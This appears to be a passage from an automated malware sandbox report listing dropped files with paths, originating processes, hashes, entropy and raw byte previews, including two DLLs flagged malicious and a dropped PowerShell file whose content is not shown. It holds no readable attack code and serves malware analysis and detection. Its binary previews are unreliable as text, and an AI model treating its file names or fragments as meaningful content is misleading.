SHA-512:	A269C56E8FCD2A55129776A9D94C96571D9CCABBAD4A53BAE29049435B33AE0A19F1E19742D76CA6B43444F7D4124E9941EA60F4166041038012C358E0B98F15
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ioB5wE9TKL-aB9IR1A3AgQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\xuolacF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264789228479021
Encrypted:	false
SSDEEP:	24:GgsF+0prSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+ur+pAZewRDK4mW
MD5:	96A97EE60E4D776E4B89CDC974699DD0
SHA1:	0CBC0E3FB1C325026103E72859523F84A5AB874D
SHA-256:	2A7E6E006383F4EA604BC20D5D2D922DA428426CB2A1E18D178758A50960D937
SHA-512:	D42115526331E86593F5D036E505B31993A5A9CE9357216BC484E3CF631CA1465E0CA04D9A6242BF9E1FCB7E4B32F67AF47F964219FE09F2C7B0A0F643F4148B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="eWOsEEXT4SiacyT_P1zCmA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\yiZjzCF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256751755486269
Encrypted:	false
SSDEEP:	24:GgsF+0MSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+X+pAZewRDK4mW
MD5:	9AAE4AACEC6849A607D2D90C34FD0555
SHA1:	C5107635DDEE0AACDCB36498488BC281DB0BF0D8
SHA-256:	C706A43E53B0537E2FD335E9D9CDDB095DA57C854BEE5F8BA1C66A8325085BA0
SHA-512:	2C550774C1BEDA8D8CA49B6098D81C72681D2978BEF3F45479983DEBDE9E4A83710D9CC0053BC976B4556F340FA9B1AC2957E1A25CF7C05A9A516A9895E8749C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fQF4ltuCm6aDyk2DhU0oGQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zj46DCU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263555790517985
Encrypted:	false
SSDEEP:	24:GgsF+04POdSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+jPOd+pAZewRDK4mW
MD5:	A54C23B4A37FC195FC6D470D192329F7
SHA1:	64DCD2D0C2AF49FC69C2D5580FBDA68663E897ED
SHA-256:	BEE5C3D6570B6A2F7936BE8CDDDA9B478DB311D877D837D2B820F4576B016A68
SHA-512:	702E0FE096CABC534CDE7BA2D7729ABE67E587FC3C01F5365B45E4E680054ABB68D0520F537019B360889ADC1A2AAC9DC58EF9D1EFBAA02121F2729D4F3C4348
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DTY8xSmXz-kZy3lcyy0MZw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zk3HzfB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253697888397771
Encrypted:	false
SSDEEP:	24:GgsF+0dDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+WD+pAZewRDK4mW
MD5:	A3A431C22667E876DDAA7115FDD44D4A
SHA1:	6E8ACF509CC795C8F1043B87FD0CB2A8D88AC0BB
SHA-256:	490D5BF166B642891370C0C3138FED4483EFFF81EDB666B970BA5A1EB5E1B0B2
SHA-512:	1C74464CE1CCE1FC45CB4F446A6B16CA78B8358DCC819DAF20AF8E893C95A7C88A1C17D414ACF1D4310E37C8E4A4F5E55A2D92DD8476A934309B31CCE236541E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_bpjv_vnrtbIlYxB4hJ2Ow">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\{2E43FD7B-E729-4283-947B-1D49591810C4}.tmp

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	PNG image data, 491 x 161, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1556
Entropy (8bit):	7.507131051649285
Encrypted:	false
SSDEEP:	24:LZwmgblk3k44Yo4bo4Y4ofXQLo4LoXgMXI7gAgXILs/fHAnzPCpdyIIMGb34oYYI:OpO0P3nfXfX/HXPX/HXai+MGb34Z
MD5:	402C9D31E2079948E743562CB48AF2A6
SHA1:	5111E39A19E0675A44369E03D4A82132F0D12977
SHA-256:	D82DF7AFA80AB17CF1D298488C66902F192034B6BB18176F5BD5C5B74E348E79
SHA-512:	27510489FAA6562507CBDB0B5F545D9124D6BA59D41A65224DD6089A9C8331279CE83905B26D41453255BDA660FBAAE957E0E17D43350DFCB86603888177C760
Malicious:	false
Preview:	.PNG........IHDR..............g-....pHYs...........~.... cHRM..z%..............u0...`..:....o._.F....PLTE.................................................................................................................................................................................;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{\|\|\|}}}~~~...................................................................................................................................................................................................................................................................................................................................................................................................B.F.....IDATx...[s.D....-.d.%...L...r*.8.....9.pC...d.g.HQf<..7.o....ju.Z.V.n9.[...u......w9wo.[./....U^....9or

C:\Users\user\AppData\Local\Temp\{581B7D1F-5889-4cf0-9085-A838BFAC7BF3}.tmp

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	Microsoft Cabinet archive data, many, 1346052 bytes, 3 files, at 0x2c +A "sites.dll" +A "themes\theme_NewInstallAir.xml", number 1, 81 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1346052
Entropy (8bit):	7.9989996832434676
Encrypted:	true
SSDEEP:	24576:S25OCGNlwNr5PL8MqxJTFl9YioVgxuz4Z0dTeLieM1V9QPjQw:B0N2NFL8VB9iiL0dTeOt23
MD5:	4F688C8A30E46A14A868F07E283763F2
SHA1:	BA736A93EF1F07B1C7C24F4201B632F1CB18E73A
SHA-256:	AA02BD7AB8BBF1C1AB138C20D0D7EBB6B5F2E2166E2184405E54D619526E9AC8
SHA-512:	8A1F679BFA7A1D5667FAC931EF9184CBE76E30C26ED1A63E97CE4AFD8815DC1409EDB560EE91FD3DB57AA0BE10D6C567F43FE887440A09897DE09CD8DC7BA88A
Malicious:	false
Preview:	MSCF............,.......................Q....l........~Q.. .sites.dll.~m...l....cV.V .themes\theme_NewInstallAir.xml.BT..~.....cV.V .themes\NewInstallAir\NewInstallAir.ui..e..BJ..CK..\|T..8z..IrH...L`.A..5....8Q..e.0.......4.T1.....'..v..-...V?.Wm...Uk..g2..Bx)...j.L..0..9w.}......w..w..{....k....k....y.nb...p..4.ie..r...?..0....9a.V.x.....p,.}..........<.h...C...#...q.-(u....]7qb....\|..n.y.?.{j.-.9.t.e._F.....s..;.o...+..e.............._.........Gn..[sn6.e.g...V#..j.'.a..8&.y~I,.S.4+...LJf.'O..[.F....).w....ubOf.T...}S!;...D......."......J1.Ma..5...l.T......<....E.._.U..al.....w.......<..H...r......v.............1..o.uz1.......... ./...vE..N..mf...8.Bx..-{.....y.....)....o......z./.....mr.S,-#...9.....]..U....,r.w$`.lH^.R...po...o....8(..6...]..L$. [.~.%...J.V.....).v.s....5..vHu.t....c..z->..y.b..../%..yN+..O.>.ST.."!. dE.T..X..Y.w?........n.Y.-.....:..ZH.}.+..l..-..10..J.bk......~..O.<.k!{.6!Rx..2.8i@[.....S/C....=..:.z..............@....>.

C:\Users\user\AppData\Local\Temp\{82B94658-F26C-4724-9A4F-C20F7A91E3A3}.tmp

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 304652 bytes, 1 file, at 0x2c +A "360P2SP.dll", ID 808, number 1, 22 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	304652
Entropy (8bit):	7.999195439763513
Encrypted:	true
SSDEEP:	6144:dl5TTOp1tnABtoSIkutXiC3NxDPYhroRN6AxPM1CKSNEZ4:1TmTAB+XddZAahrKGT
MD5:	8039C279A02FEA0387E8D51BDDE541D5
SHA1:	A6A52EF6C01FDE3A1A1C702C41777119DBDB203A
SHA-256:	0BA9A3E6E4B89ED8C30C092845ECAB5939AFE4C701A130FDC6ECC9D0EC1A8386
SHA-512:	97F45BF13FF85AD252B46C8E62D2D114E84B3AEF17AA2E3B21CE47B41B416D2000506EE9BFABBC055295817CE6D7D9771A038ACFAE514CCA852EF861751C7254
Malicious:	false
Preview:	MSCF............,...............(...H.......`..........L.z .360P2SP.dll.h..G.G..[...3.@..."R`4..m....mnu..e.r.\.K.J.....u.Pw..9f..u..H..?7.=z."\|..^ ...].fi.r...........biw.Se6".p......;N....o.rI.x...$.IN.><...o......[6.k.[.lRvl..zK.{v.kKh6!36kOi..6.3Z.`.6+.B..c.t2.B)Zq.3$..V.@w......... T..4DWF.`.W..~.<.....73o7&7.L..5....rF....E.....~.@.@{...B~~.ho.D..X..pH+.. ..}-BMrx.".dU....e".nk.D...................L..e...L..~3E.......H.r..6m.G.o..z...g......}....zT.[-.K.{.\......W?..}.^....<.z.W.y.i.z&....@.-..AJN9.[.J.]Z.....k...+.2....M.........H.H...E"....`.....p.,>Q.....D.....>.B.{..t;bw..hb.....dW8.....eH2.l....^...KyD.Z.`I.........^W..k.$..;n.I..&.>s.8..WF...}......W)...:.-Sp<m..:\..U..]JT....Kw.(.......x.:.-..C..e..a..... {...!Y./1.MnF..05...9......}...+WR8W.z...fe...+..s5.....E.6w.rzP.&..Ii...h.....L$....Z~.}N...W9.6pMt4.f..R...RL.........CH:.Q.-a1... ........Y.......P..B.:M.........l.w..Xn.....VN...7FkG...3...H....i.C..`q4.Q.&.9.X...^.p/.K.(....

C:\Users\user\AppData\Local\Temp\{92EE34F9-CBF9-4899-A446-C0FD9C9E29A7}.tmp\360P2SP.dll

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704608
Entropy (8bit):	6.625840358726942
Encrypted:	false
SSDEEP:	12288:1IhyxJ3BYXF6WxYC2aeHACRYlH+ZOAyTjUnIgidGtAd8Rwb33+YnBsLS683wK9T7:ih8WxYCyYlaOYnliItjRwbH+YBsLS68N
MD5:	D875875EB3282B692AB10E946EA22361
SHA1:	34BCEF8A8CB0E1DB44671892AC3CBD74D3C541A8
SHA-256:	0ECA2E140F973B2011C633D4D92E512A1F77E1DA610CFE0F4538C0B451270016
SHA-512:	972466310D3C145141320584B5F3E431C6888BDA2BA1036F85E68E534ED6FB97BA04CBD46D8D9C401DC5857100DC1BFF1BAD82B50514F3E5C582522F22FD2B5C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: QQyisSetups64.exe, Detection: malicious, Browse Filename: wyySetups64.exe, Detection: malicious, Browse Filename: A1FsbRkm5m.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........nl..nl..nl..I..ol...s..fl..p>'.kl...#5.kl..g.6.Ol..g..el..I..ql..nl...m..g. ..l..g.'..l..g.1.ol..p>7.ol..nl4.ll..g.2.ol..Richnl..................PE..L......Z...........!......................................................................@..............................................................5......LS...................................................................................text............................... ..`.rdata..w...........................@..@.data...`........4..................@....rsrc...............................@..@.reloc..`p.......r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\sites.dll

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1469440
Entropy (8bit):	6.242110984104102
Encrypted:	false
SSDEEP:	24576:l4LEubC/9euoUCi82BbjSyM5hGfzmzJHXW+U0:UEubUo1i3eymhGfizJHK0
MD5:	A2FF2C72E739E0CF4C73B623444CA39D
SHA1:	FF886E63C894A20F30C136A8264CFA33D41B8331
SHA-256:	C1EB83993C85E01EE6AE84EB6E05744FF8C3CCC02C41D09C22286E3012EF46FC
SHA-512:	844DAB35A1625D5BF1BD814A36FB80D5670D3DFEE5CF65AD8BE53784B486DCC08898B7577A323C7C7E1E83655F861EA86C5453CFA4C3D55353D329EF3AF6320B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......~].:<..:<..:<...s7.<<..3D4..<..3D(.7<......2<..$n%.?<..:<...>......%<......;<..3D"..<..3D%..<..3D3.;<..$n5.;<..:<6.;<..3D0.;<..Rich:<..........................PE..L...0..\...........!.....@...$.......E.......P............................................@.................................<].......`..H-...........4..h7...........X..............................8...@............P..,............................text...f?.......@.................. ..`.rdata...=...P...>...D..............@..@.data...............................@....rsrc...H-...`......................@..@.reloc...............>..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes\NewInstallAir\NewInstallAir.ui

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1135682
Entropy (8bit):	7.510976265913228
Encrypted:	false
SSDEEP:	12288:Q0+G8ZYG6xrKI/ZFfg5Vfg5nfg53x3mYiJ6YJ6MJ6MEJl:QvGJxuI/bfQVfQnfQ3x3TUbhMl
MD5:	44C8DF596B52856EB1D3FE2E37CBDE4D
SHA1:	4AADBEEF9DC6CD4CCAC758EBDB852915C09545DF
SHA-256:	ECDDA2FB9EB27F1B56349E2ABFE90CE2F8741B982A3DD6D248E7D93E6B75DE2C
SHA-512:	EA94ED1662EFD2F6D91B4D05059DFADD8F290EEDBB45433E33F3B4E3729822A40E0C63D319F2041F3F1738650219200D594CED9E36B558AFF0A494FAB53A0E47
Malicious:	false
Preview:	PK...........Q................DPI_240_Images/PK........0PZU....%...%.......DPI_240_Images/bg_promote.png.PNG........IHDR.............\$......PLTE............U.wh......^.tz..........Ita0bL.?#.?$.A$.G'.P-.S..U0.W0.X1.Y2.Z2.[3.\3.^4._6.a6.d7.g9.j;.m<.o>.q@.tA.vB.yC.\|E..G..I..J..K..L..M..N..O..Q..Q..S.pI.tK.xL.uJ.wJ.yK.zL.\|M.}N..O..M..O.}L.{J.zJ.tH.vI.yJ.\|L.}MD.@..=..?..A..E.G.A.H.-.dG.{[..9.n'.^8.f).Z"{R..O..Q..R..T..W..Y..\".^#.a&.d(.g.k..o...............3&.5'.6(.9.=).9(.9%.<&.=".9..5..1..-..&.....R3.W5.R3.Z6.\9._;.a=.c>.e?.f@.hA.jB.lC.nE.pE.rF.tG.uG.wH(.;<..._C.dD.iF.lJ.qL.uN.xO.\|Q..R..T..V..X..U..R..P..L..K..V..X..Z..[..].._..a.h@.d;.k?.pB.uEq.........>jW(U?.F/.R>.VA.ZB.\E.`F.dG.fI.iJ.egF..%.........}.*...b...........<.~;.\|9.z7.x5.w3.u1.r...U.....k.!mI+sQ...8}\...G.i......q.]R..E.&<.,4.1,.5%.9..D..J..L..L..Y.\|........X.E...T.j.....a.2.^..F..1..............`..A..,..W....y0&$.....IDATx......A..P:@.A......K...$.qwx.T...[...>`...D.oW.'u...?..qy...t...,S.Y..<. M

C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes\theme_NewInstallAir.xml

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	28030
Entropy (8bit):	3.581114835224513
Encrypted:	false
SSDEEP:	96:E4EuXYuiODQGYuBRrNRrQRrmRrXejXvXH5CeGTNxyqIYuyLmacwrvlCX4uH3OYqm:6nOT+bO7lU51EHWkGHr
MD5:	8074E9740A0E3CFDA172AD1983C72A05
SHA1:	B6D006ADAFF1FD059268517B6BD5610EF15D3BA9
SHA-256:	E4ED337A562AAC81005D451CFD4AEF721CF067ECBC6D1057601AEFC41EE83E26
SHA-512:	F6680CF19B512060B6ED1C0F88C8EE31A1BE456A37204CB63073E0AC58A2B0F544DCC0DABF0829F28687C2842043D21D41B2F172CB15698316EBF0F2BC89C445
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.t.h.e.m.e.s.>.......<.w.i.n.d.o.w.>.........<.d.e.f.a.u.l.t. .i.c.o.n._.p.o.i.n.t.=.".4.,.4.". .s.h.o.w._.i.c.o.n.=.".0.".>...........<.c.a.n.v.a.s. .n.o.r.m.a.l.=.".0.x.f.f.2.a.b.f.1.d.". .f.i.l.l.=.".0.". .i.m.a.g.e.=.".../.N.e.w.I.n.s.t.a.l.l.A.i.r./.s.k.i.n...p.n.g."./.>...........<.b.o.r.d.e.r. .n.o.r.m.a.l.=.".0.x.f.f.6.3.8.c.3.9.". .w.i.d.t.h.=.".1.". .i.n.n.e.r.=.".0.x.f.f.f.f.f.f.f.f."./.>...........<.f.o.n.t. .b.i.n.d._.f.o.n.t._.b.y._.l.a.n.g.u.a.g.e.=.".0.". .r.e.f.=.".". .f.a.c.e.=.".._o...,..[SO,.T.a.h.o.m.a.". .c.o.l.o.r.=.".0.x.0.0.b.5.e.5.1.3.". .s.i.z.e.=.".8.". .b.o.l.d.=.".0.". .i.t.a.l.i.c.=.".0.". .u.n.d.e.r.l.i.n.e.=.".0."./.>...........<.s.h.a.d.o.w. .b.o.r.d.e.r.=.".5.,.3.,.5.,.7.". .i.m.a.g.e.=.".../.N.e.w.I.n.s.t.a.l.l.A.i.r./.w.i.n.d.o.w._.s.h.a.d.o.w...p.n.g."./.>...........<.c.a.p.t.i.o.n. .s.h.o.w.=.".1.". .h.e.i.g.h.t.=.".3.0.". .c.o.l.o.r.=.".0.x.f.f.2.c.a.6.d.3."./.

C:\Users\user\AppData\Local\Temp\{B7A42130-77F9-4b13-8C0B-EB34FF385D20}.tmp

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	PNG image data, 604 x 380, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	14344
Entropy (8bit):	7.934027356242661
Encrypted:	false
SSDEEP:	384:QTbAFSIp6FghLfaAEYlYifrkou/Z1DTn8O5zV7qh:QTkoIp68SW1Tk1Z1P8O5zch
MD5:	10AF715DFB97B8A187F81555C8E6068B
SHA1:	C108E08D53A6EC711F1BA70FDBD7561CE483CBCD
SHA-256:	EE7F804A1C73B6D6935FF731AE87AEFBBD1ABE16DC5FF315C5D8D91E283C902D
SHA-512:	FDCA596438FDD60C88DE69367ABC70D6CBFF318D8381EB4155FA257690F26D95C9A13131F676654BED27BE458A6DF67CBE1D713DE9826CF955723F6A92FC5BBB
Malicious:	false
Preview:	.PNG........IHDR...\...\|.....-..)...>PLTE..q..q..s....v....x..!.1.+.+.%...\|..q..r!.u$.v..t..s..t..r&.v..w+.x....z..'.x..}../.y......w..z5.{..t.{..9.}..(.~..}#.\|..".#.%......~>.). ...\|&.1.}....{+.!.y0.B.~F..=..B.6.zG.6.3.C.}:.2.~R.-.'.\|B..L.K.O.=.\|#.yF.".R..N.X.I.._./.xZ.,.wI..1.T.5.?...X..M..H=.w.bY.j..Vu.7....tRNS..e..e.e......2....6kIDATx...k..@..`...~.P.(j.b.%...W..EX.A.,........{.7.I3Y5......D}...i...8..`..~...W.En^8.jr..+....k... w.9.s....r....\.{-./].r.Q9...9.X.O&O..~........z]&...D.T..<\|..e)/^.....X..p....\|..Jd!.....7o..,...WX.....rV.../...Wo.{...K.2.U.G....4H.......y9d..q!=..i\.t5....",.r.....G.r....&....lI.<....z\N.<L./.k.....B...k.U\./.t......../.7...U.+(]#.@R...V.q.g.&I.i.-d...v..-.2..a.W..LY.jl.,.B_..i..y..B....Y....K....+,]...,,..6......?..l..:#.xg.-..[o...m.WH+......E\.e\|....K./...Z1]J.f.vq.Z.......u...+........[O..._..-^..E^r0.{.l.+O.FK........^...3..\|]z\u.......b...VW..R.n..@...*w.q

C:\Users\user\AppData\Local\Temp\{D5BF8E62-3285-45ad-A7CB-467DE934221E}.tmp

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	PNG image data, 600 x 380, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	16151
Entropy (8bit):	7.9414528437087935
Encrypted:	false
SSDEEP:	384:9SmRt7jn8csHkzjhJuCwQ19rtw5srwat0ADwP0F43ec1:dt7bjsHkBwCwseat0AkdOc1
MD5:	3641846128E0A27A28CA0DBA8942B896
SHA1:	88C40C9923AB48E0C01883A773E297541CE49882
SHA-256:	CBF7CD45FE193E0A438CE14B0176077762E984F897091A682F9E866983DA9174
SHA-512:	15910E5A279F17EA06618CB8DCBB64FE8F8E6F5061FC14BCA6A92FF2795CF64EACEB2067104358A014079550CA1B4F24200935E2F10B1EDE6622D94794047550
Malicious:	false
Preview:	.PNG........IHDR...X...\|.....$m5S...GPLTE..q..q..r....v..#.....(.~+.1...w>...q..q.....r$.v".u..t..t..s..w(.w..q........}.y..{..'.y-.y#.y1.z.....w..y6.\|..{......t....x .".\|'...~-.},.:.!.".%.$.(..9.}=.}%.\|./.{J.C.A.?.\|+.D.0.2.2.~)...,.0.~?.?...~I.).1.x".'.\|G.5.8.{N.Q.G.J.R.Q.Z.5.:.Y.Y.U..X1...M..Hc.i..\H.q..Tv.h...a....tRNS..f..f.f........hE..=pIDATx..m..`.....0..@.)q3.P.A...XDH.Q79_...B..=_;....o.i.r....q].u.....I..........w4.._..wv...E.Vs....x..v.O...>.Z......kw^...O.`..Hb........_. h.t_t:mM.b. 8@...%.)^...i.C....<...:.:a..~....... ..\|....Y.l5....`&...-'..-.......&".#....ZB,..VL..../.B,.V.V.W\|.Za......CZ.X\.....aT...x".w.}#.bu$.,K.....U.Y..j..U.AQ....W...{u~.....T..agf..:^f./O,.3.g..J"k^.Y....W..z'..T8<.b..ZA..................f....,*.n`Y.ld.b.K.KDV..b..S.%..F.h.O.WAEd).....#..5`^.D..Y........2&....S..S..Ax.W'....f.....+....]..}.ZQ.d..3...m.3...}.~......C..v.Y.b.........X,...l.1.)N.Y....[.....b=...=.

C:\Users\user\AppData\Local\Temp\~$FHfEA7As.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:KVC+cAmltV:KVC+cR
MD5:	9C7132B2A8CABF27097749F4D8447635
SHA1:	71D7F78718A7AFC3EAB22ED395321F6CBE2F9899
SHA-256:	7029AE5479F0CD98D892F570A22B2AE8302747DCFF3465B2DE64D974AE815A83
SHA-512:	333AC8A4987CC7DF5981AE81238A77D123996DB2C4C97053E8BD2048A64FDCF33E1245DEE6839358161F6B5EEA6BFD8D2358BC4A9188D786295C22F79E2D635E
Malicious:	false
Preview:	.user ..j.o.n.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DF163C59614BB26FC3.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\updated.ps1

Download File

Process:	C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.741657013789009
Encrypted:	false
SSDEEP:	3:41Ai+PBoAwnLFsI2FIERMJyjqLWAfXIhS/ytIEFMEQVGdAn:4yi+5dwnLFsI2F5KJy0fXnMFFQhn
MD5:	AA0E1012D3B7C24FAD1BE4806756C2CF
SHA1:	FE0D130AF9105D9044FF3D657D1ABEAF0B750516
SHA-256:	FC47E1FA89397C3139D9047DC667531A9153A339F8E29AC713E518D51A995897
